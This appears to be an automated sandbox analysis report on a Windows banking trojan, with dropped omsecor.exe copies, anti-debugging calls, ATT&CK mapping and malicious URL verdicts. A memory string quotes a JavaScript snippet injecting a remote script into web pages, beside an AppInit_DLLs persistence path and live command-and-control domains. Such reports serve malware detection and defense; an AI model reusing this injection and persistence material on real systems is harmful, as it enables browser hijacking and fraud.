Source: omsecor.exe, 00000001.00000002.1987110192.000000000063B000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000001.00000002.1987110192.0000000000651000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/179/569.html
Source: omsecor.exe, 00000001.00000002.1987110192.0000000000651000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/179/569.html3
Source: omsecor.exe, 00000001.00000002.1986796301.0000000000194000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/179/569.html;
Source: omsecor.exe, 00000001.00000002.1987110192.000000000063B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/179/569.htmlGU
Source: omsecor.exe, 00000001.00000002.1987110192.000000000063B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/179/569.htmlQZ
Source: omsecor.exe, 00000001.00000002.1987110192.000000000063B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/179/569.htmleZ
Source: omsecor.exe, 00000001.00000002.1987110192.0000000000651000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/179/569.htmli
Source: omsecor.exe, 00000001.00000002.1987110192.000000000063B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/179/569.htmliZ#
Source: omsecor.exe, 00000001.00000002.1987110192.000000000063B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/179/569.htmloZ
Source: omsecor.exe, 00000005.00000002.2879968541.0000000000689000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/59/409.html
Source: omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/59/409.html(&Z&
Source: omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/59/409.htmlk7
Source: omsecor.exe, 00000005.00000002.2879968541.0000000000689000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/968/405.html
Source: omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/968/405.html$
Source: omsecor.exe, 00000005.00000002.2879968541.0000000000689000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/968/405.html&
Source: omsecor.exe, 00000005.00000002.2879968541.0000000000689000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/968/405.html(
Source: omsecor.exe, 00000005.00000002.2879755700.0000000000194000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/968/405.html;
Source: omsecor.exe, 00000005.00000002.2879968541.0000000000689000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/968/405.htmlN
Source: omsecor.exe, 00000005.00000002.2879968541.000000000066E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/968/405.htmlP&
Source: omsecor.exe, 00000005.00000002.2879968541.000000000062E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/968/405.htmlasuek.com5
Source: omsecor.exe, 00000005.00000002.2879968541.0000000000689000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/968/405.htmlp
Source: omsecor.exe, 00000005.00000002.2879968541.0000000000689000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/968/405.htmlz
Source: cnzWgjUhS2.exe, 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, omsecor.exe, 00000001.00000002.1986846567.0000000000401000.00000040.00000001.01000000.00000004.sdmp, omsecor.exe, 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, omsecor.exe, 00000008.00000002.2986278876.0000000000401000.00000040.00000001.01000000.00000007.sdmp	String found in binary or memory: http://ow5dirasuek.com/http://mkkuei4kdsz.com/http://lousta.net/http://lousta.net/begun.ruIueiOodcon
Source: omsecor.exe, 00000001.00000002.1986796301.0000000000194000.00000004.00000010.00020000.00000000.sdmp, omsecor.exe, 00000001.00000002.1987110192.0000000000651000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000005.00000002.2879755700.0000000000194000.00000004.00000010.00020000.00000000.sdmp, omsecor.exe, 00000005.00000002.2879968541.0000000000689000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://domaincntrol.com/?orighost=
Source: omsecor.exe, 00000001.00000002.1986796301.0000000000194000.00000004.00000010.00020000.00000000.sdmp, omsecor.exe, 00000001.00000002.1987110192.0000000000651000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000005.00000002.2879755700.0000000000194000.00000004.00000010.00020000.00000000.sdmp, omsecor.exe, 00000005.00000002.2879968541.0000000000689000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nojs.domaincntrol.com

E-Banking Fraud

Yara detected Neconyd

Source: Yara match	File source: Process Memory Space: cnzWgjUhS2.exe PID: 6600, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: omsecor.exe PID: 6644, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: omsecor.exe PID: 3868, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: omsecor.exe PID: 564, type: MEMORYSTR

Source: C:\Users\user\AppData\Roaming\omsecor.exe	File created: C:\Windows\SysWOW64\omsecor.exe			Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	File created: C:\Windows\SysWOW64\merocz.xc6			Jump to behavior

Source: C:\Users\user\Desktop\cnzWgjUhS2.exe	Code function: 0_2_00401C41	0_2_00401C41
Source: C:\Users\user\Desktop\cnzWgjUhS2.exe	Code function: 0_2_0040D2A4	0_2_0040D2A4
Source: C:\Users\user\Desktop\cnzWgjUhS2.exe	Code function: 0_2_0040B51C	0_2_0040B51C
Source: C:\Users\user\Desktop\cnzWgjUhS2.exe	Code function: 0_2_0040CBD0	0_2_0040CBD0
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 5_2_00401C41	5_2_00401C41
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 5_2_0040D2A4	5_2_0040D2A4
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 5_2_0040B51C	5_2_0040B51C
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 5_2_0040CBD0	5_2_0040CBD0

Source: C:\Users\user\Desktop\cnzWgjUhS2.exe	Code function: String function: 00405511 appears 56 times
Source: C:\Users\user\Desktop\cnzWgjUhS2.exe	Code function: String function: 00405493 appears 31 times
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: String function: 00405511 appears 56 times
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: String function: 00405493 appears 31 times

Source: cnzWgjUhS2.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.bank.troj.evad.winEXE@7/3@3/3

Source: C:\Users\user\Desktop\cnzWgjUhS2.exe

File created: C:\Users\user\AppData\Roaming\omsecor.exe

Jump to behavior

Source: C:\Users\user\Desktop\cnzWgjUhS2.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\cnzWgjUhS2.exe

File read: C:\Users\user\Desktop\cnzWgjUhS2.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\cnzWgjUhS2.exe "C:\Users\user\Desktop\cnzWgjUhS2.exe"
Source: C:\Users\user\Desktop\cnzWgjUhS2.exe	Process created: C:\Users\user\AppData\Roaming\omsecor.exe C:\Users\user\AppData\Roaming\omsecor.exe
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Process created: C:\Windows\SysWOW64\omsecor.exe C:\Windows\System32\omsecor.exe
Source: C:\Windows\SysWOW64\omsecor.exe	Process created: C:\Windows\SysWOW64\omsecor.exe C:\Windows\SysWOW64\omsecor.exe /nomove
Source: C:\Users\user\Desktop\cnzWgjUhS2.exe	Process created: C:\Users\user\AppData\Roaming\omsecor.exe C:\Users\user\AppData\Roaming\omsecor.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Process created: C:\Windows\SysWOW64\omsecor.exe C:\Windows\System32\omsecor.exe	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Process created: C:\Windows\SysWOW64\omsecor.exe C:\Windows\SysWOW64\omsecor.exe /nomove	Jump to behavior

Source: C:\Users\user\Desktop\cnzWgjUhS2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\cnzWgjUhS2.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: fwpuclnt.dll	Jump to behavior

Source: C:\Users\user\AppData\Roaming\omsecor.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\cnzWgjUhS2.exe

Code function: 0_2_004032B8 GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,MessageBoxW,VirtualProtect,MessageBoxW,VirtualProtect,VirtualProtect,SetUnhandledExceptionFilter,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_004032B8

Source: cnzWgjUhS2.exe	Static PE information: section name: UPX2
Source: omsecor.exe.0.dr	Static PE information: section name: UPX2
Source: omsecor.exe.1.dr	Static PE information: section name: UPX2

Source: C:\Users\user\Desktop\cnzWgjUhS2.exe	Code function: 0_2_0040D293 push ecx; ret	0_2_0040D2A3
Source: C:\Users\user\Desktop\cnzWgjUhS2.exe	Code function: 0_2_0040CBB5 push ecx; ret	0_2_0040CBC8
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 5_2_0040D293 push ecx; ret	5_2_0040D2A3
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 5_2_0040CBB5 push ecx; ret	5_2_0040CBC8

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\SysWOW64\omsecor.exe

Executable created and started: C:\Windows\SysWOW64\omsecor.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\omsecor.exe	File created: C:\Windows\SysWOW64\omsecor.exe			Jump to dropped file
Source: C:\Users\user\Desktop\cnzWgjUhS2.exe	File created: C:\Users\user\AppData\Roaming\omsecor.exe			Jump to dropped file

Source: C:\Users\user\AppData\Roaming\omsecor.exe

File created: C:\Windows\SysWOW64\omsecor.exe

Jump to dropped file

Source: C:\Users\user\Desktop\cnzWgjUhS2.exe	Code function: 0_2_0040350F RtlAllocateHeap,RtlAllocateHeap,GetPrivateProfileStringW,GetPrivateProfileStringW,RtlAllocateHeap,GetPrivateProfileStringW,GetPrivateProfileIntW,GetPrivateProfileStringW,GetPrivateProfileStringW,	0_2_0040350F
Source: C:\Users\user\Desktop\cnzWgjUhS2.exe	Code function: 0_2_004039EA RtlAllocateHeap,RtlAllocateHeap,GetPrivateProfileStringW,GetPrivateProfileStringW,RtlAllocateHeap,StrStrIW,StrStrIW,GetPrivateProfileStringW,GetPrivateProfileStringW,GetPrivateProfileStringW,	0_2_004039EA
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 5_2_0040350F RtlAllocateHeap,RtlAllocateHeap,GetPrivateProfileStringW,GetPrivateProfileStringW,RtlAllocateHeap,GetPrivateProfileStringW,GetPrivateProfileIntW,GetPrivateProfileStringW,GetPrivateProfileStringW,	5_2_0040350F
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 5_2_004039EA RtlAllocateHeap,RtlAllocateHeap,GetPrivateProfileStringW,GetPrivateProfileStringW,RtlAllocateHeap,StrStrIW,StrStrIW,GetPrivateProfileStringW,GetPrivateProfileStringW,GetPrivateProfileStringW,	5_2_004039EA

Source: C:\Users\user\AppData\Roaming\omsecor.exe TID: 6636	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe TID: 2836	Thread sleep time: -80000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\cnzWgjUhS2.exe	Code function: 0_2_0040ABD9 FindFirstFileW,FindClose,	0_2_0040ABD9
Source: C:\Users\user\Desktop\cnzWgjUhS2.exe	Code function: 0_2_00408248 FindFirstFileW,Sleep,WaitForSingleObject,PathMatchSpecW,Sleep,Sleep,FindNextFileW,FindClose,	0_2_00408248
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 5_2_0040ABD9 FindFirstFileW,FindClose,	5_2_0040ABD9
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 5_2_00408248 FindFirstFileW,Sleep,WaitForSingleObject,PathMatchSpecW,Sleep,Sleep,FindNextFileW,FindClose,	5_2_00408248

Source: omsecor.exe, 00000001.00000002.1987110192.000000000066B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW Control\LRPC-559bf06f72796be679
Source: omsecor.exe, 00000001.00000002.1987110192.000000000066B000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000005.00000002.2879968541.0000000000689000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000005.00000002.2879968541.000000000062E000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000008.00000002.2986475132.000000000059E000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000008.00000002.2986475132.00000000005FD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: omsecor.exe, 00000001.00000002.1987110192.000000000063B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: omsecor.exe, 00000005.00000002.2879968541.0000000000689000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWb

Source: C:\Users\user\Desktop\cnzWgjUhS2.exe

Code function: 0_2_0040D00B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_0040D00B

Source: C:\Users\user\Desktop\cnzWgjUhS2.exe

0_2_004032B8

Source: C:\Users\user\Desktop\cnzWgjUhS2.exe

Code function: 0_2_004075D4 CreateFileW,CreateFileW,CreateFileW,GetFileSize,GetProcessHeap,RtlAllocateHeap,ReadFile,ReadFile,WriteFile,SetFilePointer,SetFilePointer,ReadFile,SetFilePointer,ReadFile,SetFilePointer,WriteFile,CloseHandle,FindCloseChangeNotification,CloseHandle,

0_2_004075D4

Source: C:\Users\user\Desktop\cnzWgjUhS2.exe	Code function: 0_2_0040D00B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0040D00B
Source: C:\Users\user\Desktop\cnzWgjUhS2.exe	Code function: 0_2_004032B8 GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,MessageBoxW,VirtualProtect,MessageBoxW,VirtualProtect,VirtualProtect,SetUnhandledExceptionFilter,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,	0_2_004032B8
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 5_2_0040D00B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_0040D00B
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 5_2_004032B8 GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,MessageBoxW,VirtualProtect,MessageBoxW,VirtualProtect,VirtualProtect,SetUnhandledExceptionFilter,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,	5_2_004032B8

Source: cnzWgjUhS2.exe, omsecor.exe	Binary or memory string: Shell_TrayWnd
Source: cnzWgjUhS2.exe, 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, omsecor.exe, 00000001.00000002.1986846567.0000000000401000.00000040.00000001.01000000.00000004.sdmp, omsecor.exe, 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: ftpPriorHostTimeCorrUniqueNumhttp://AppEvents\Schemes\Apps\Explorer\Navigating\.currentSOFTWARE\Classes\MIME\Database\Content Type\text/htmlapplication/x-javascripttext/javascriptCLSIDBuildSOFTWARE\Microsoft\Internet ExplorerJOB FILE^nocryptPage generated at: http:__scMMdj490)0-Osdurandcrandsetvarmsec1970b_nav_timeCsMSoftware\Microsoft\Windows NT\CurrentVersion\WindowsAppInit_DLLsC:\WINDOWS\system32\gbdwpbm.dll.jar.mpeg.mpg.3gp.mov.mkv.wmv.avi.mp3.pdf.7z.gz.exe.rar.zip.xls.docvar scr= document.createElement("script"); scr.src = "%s"; document.getElementsByTagName("head")[0].appendChild(scr);Aahttp_self&host=track_eventsjavascriptbegun.ru/click.jsp?url=an.yandex.ru/count_blank,"url""domain""encrypted""URL""condition_id""kwtype"<domain></domain><url></url><title></title>http://click0^POSTShell.ExplorerAtlAxWineventConnShell_TrayWndAccept: /*

Source: C:\Users\user\Desktop\cnzWgjUhS2.exe

Code function: 0_2_0040CB03 cpuid

0_2_0040CB03

Source: C:\Users\user\Desktop\cnzWgjUhS2.exe

Code function: 0_2_00407267 GetSystemTime,SystemTimeToFileTime,SystemTimeToFileTime,SystemTimeToFileTime,__aulldiv,

0_2_00407267

Source: C:\Users\user\Desktop\cnzWgjUhS2.exe

Code function: 0_2_00407499 GetLocalTime,GetLocalTime,GetLocalTime,GetTimeZoneInformation,SystemTimeToFileTime,SystemTimeToFileTime,SystemTimeToFileTime,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,

0_2_00407499

Source: C:\Users\user\Desktop\cnzWgjUhS2.exe

Code function: 0_2_00406CB5 GetVersionExW,

0_2_00406CB5

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	2 Process Injection	121 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Process Injection	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	21 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
cnzWgjUhS2.exe	100%	Avira	TR/Downloader.Gen
cnzWgjUhS2.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Windows\SysWOW64\omsecor.exe	100%	Avira	TR/Downloader.Gen
C:\Users\user\AppData\Roaming\omsecor.exe	100%	Avira	TR/Downloader.Gen
C:\Windows\SysWOW64\omsecor.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\omsecor.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://nojs.domaincntrol.com	0%	Avira URL Cloud	safe
http://lousta.net/161/343.html	100%	Avira URL Cloud	phishing
http://mkkuei4kdsz.com/	100%	Avira URL Cloud	phishing
http://mkkuei4kdsz.com/100/325.html)L	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/968/405.html	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/179/569.html;	100%	Avira URL Cloud	phishing
http://mkkuei4kdsz.com/100/325.html	100%	Avira URL Cloud	phishing
http://lousta.net/161/343.htmll	100%	Avira URL Cloud	phishing
http://mkkuei4kdsz.com/130/71.htmlcrosoft	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/179/569.htmlQZ	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/179/569.html3	100%	Avira URL Cloud	phishing
http://lousta.net/895/196.html#	100%	Avira URL Cloud	phishing
http://lousta.net/601/938.html	100%	Avira URL Cloud	phishing
http://lousta.net/347/423.htmlt?E&	100%	Avira URL Cloud	phishing
http://mkkuei4kdsz.com/y	100%	Avira URL Cloud	phishing
https://domaincntrol.com/?orighost=	0%	Avira URL Cloud	safe
http://lousta.net/895/196.html	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/968/405.htmlz	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/968/405.htmlp	100%	Avira URL Cloud	phishing
http://mkkuei4kdsz.com/130/71.htmlr&&	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/179/569.htmliZ#	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/179/569.htmleZ	100%	Avira URL Cloud	phishing
http://lousta.net/303/619.html	100%	Avira URL Cloud	phishing
http://lousta.net/976/76.html	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/968/405.html(	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/968/405.html$	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/968/405.htmlP&	100%	Avira URL Cloud	phishing
http://lousta.net/303/619.html=	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/968/405.html&	100%	Avira URL Cloud	phishing
http://lousta.net/467/386.htmlQ=	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/59/409.htmlk7	100%	Avira URL Cloud	phishing
http://lousta.net/161/343.html=	100%	Avira URL Cloud	phishing
http://lousta.net/976/76.htmlmswsock.dll.mui	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/179/569.htmli	100%	Avira URL Cloud	phishing
http://mkkuei4kdsz.com/130/71.html	100%	Avira URL Cloud	phishing
http://lousta.net/347/423.html(	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/59/409.html	100%	Avira URL Cloud	phishing
http://mkkuei4kdsz.com/88/221.htmlV	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/179/569.htmlGU	100%	Avira URL Cloud	phishing
http://lousta.net/	100%	Avira URL Cloud	phishing
